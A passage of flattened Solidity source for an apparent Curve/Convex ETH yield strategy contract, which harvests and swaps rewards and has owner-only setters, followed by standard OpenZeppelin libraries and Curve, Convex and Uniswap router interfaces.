(crvBal > 0) { _swapRewardForEth(crv, crvBal); } if (cvxBal > 0) { _swapRewardForEth(cvx, cvxBal); } if (onxBal > 0) { _swapRewardForEth(onx, onxBal); } if (ankrBal > 0) { _swapRewardForEth(ankr, ankrBal); } if (address(this).balance > 0) { if (_compoundRewards) { lpAmount = _deposit(address(this).balance); } else { (bool success,) = payable(nativeVault).call{value : address(this).balance}(""); require(success, "Transfer failed."); } } emit Harvest(crvBal, cvxBal, lpAmount); } function _deposit(uint256 _amountToDeposit) internal returns (uint256) { uint256 lpAmount = getCurveLp(_amountToDeposit); depositInConvex(lpAmount); emit Deposit(msg.value); return lpAmount; } function _withdraw(uint256 lpAmount) internal returns (uint256) { require(lpAmount > 0, "Withdraw positive amount please"); //get crv lp back from Convex by withdrawAndUnwraping IConvexBaseReward(convexReward).withdrawAndUnwrap(lpAmount, false); uint256 amountEthOut = _removeCurveLiquidity(lpAmount); (bool success,) = payable(msg.sender).call{value : amountEthOut}(""); require(success, "Transfer failed."); emit Withdraw(amountEthOut); return amountEthOut; } function _removeCurveLiquidity(uint256 _amount) internal returns (uint256) { //eth is index 0 uint256 minEthAmount = ICurveFi(crvPool).calc_withdraw_one_coin(_amount, 0); //slippage tolerance on our side uint256 minEthAmountWithSlippage = minEthAmount.mul(1000 - SLIPPAGE_TOLERANCE).div(1000); return ICurveFi(crvPool).remove_liquidity_one_coin(_amount, 0, minEthAmountWithSlippage); } function _swapRewardForEth(address _tokenReward, uint256 _amount) internal { require(IERC20(_tokenReward).approve(sushiRouter, _amount), "approved failed"); address[] memory path = new address[](2); path[0] = _tokenReward; path[1] = IUniswapV2Router01(sushiRouter).WETH(); IUniswapV2Router01(sushiRouter).swapExactTokensForETH(_amount, 0, path, address(this), block.timestamp + 10); } function getCurveLp(uint256 _amountToDeposit) internal returns (uint256){ //Slippage taken into account in calc_token_amount but not fees. Cannot do better uint256 minLpMint = ICurveFi(crvPool).calc_token_amount([_amountToDeposit, 0], true); //slippage tolerance on our side uint256 mintLpWithSlippage = minLpMint.mul(1000 - SLIPPAGE_TOLERANCE).div(1000); return ICurveFi(crvPool).add_liquidity{value : _amountToDeposit}([_amountToDeposit, 0], mintLpWithSlippage); } function depositInConvex(uint256 _lpAmount) internal { IERC20(crvLpToken).approve(convexBooster, _lpAmount); require(IConvexBooster(convexBooster).depositAll(poolId, true), 'Convex deposit failed'); } function setPoolId(uint256 _poolId) external onlyOwner { poolId = _poolId; } function setNativeVault(address _nativeVault) external onlyOwner { nativeVault = _nativeVault; } function setSlippageTolerance(uint8 _newSlipTolerance) external onlyOwner { SLIPPAGE_TOLERANCE = _newSlipTolerance; } function setConvexBooster(address _newConvexBooster) external onlyOwner { convexBooster = _newConvexBooster; } function setConvexReward(address _newConvexReward) external onlyOwner { convexReward = _newConvexReward; } function setSushiRouter(address _newSushiRouter) external onlyOwner { sushiRouter = _newSushiRouter; } function getVirtualBalance() external returns (uint256) { uint256 cvxLpBal = IConvexBaseReward(convexReward).balanceOf(address(this)); uint256 lpVirtualPrice = ICurveFi(crvPool).get_virtual_price(); uint256 virtualBal = cvxLpBal * lpVirtualPrice / 1e18; return virtualBal; } // @dev https://news.curve.fi/chainlink-oracles-and-curve-pools/ function getConvexLpBalance() external view returns (uint256) { return IConvexBaseReward(convexReward).balanceOf(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; interface IStrategy { function deposit() external payable returns (uint256); function withdraw(uint256 lpAmount) external returns (uint256); function withdrawAll() external returns (uint256); function harvest(bool _compoundRewards) external; function setPoolId(uint256 _poolId) external; function getVirtualBalance() external returns (uint256); function getConvexLpBalance() external view returns (uint256); } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; interface ICurveFi { function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external payable returns(uint256); function calc_token_amount(uint256[2] calldata amounts, bool is_deposit) external view returns(uint256); function calc_withdraw_one_coin(uint256 token_amount, int128 i) external view returns(uint256); function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external returns(uint256); function get_virtual_price() external returns (uint256); } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; interface IConvexBaseReward { function getReward() external returns(bool); function withdrawAndUnwrap(uint256 amount, bool claim) external returns(bool); function balanceOf(address account) external view returns (uint256); } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; interface IConvexBooster { function depositAll(uint256 _pid, bool _stake) external returns (bool); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }

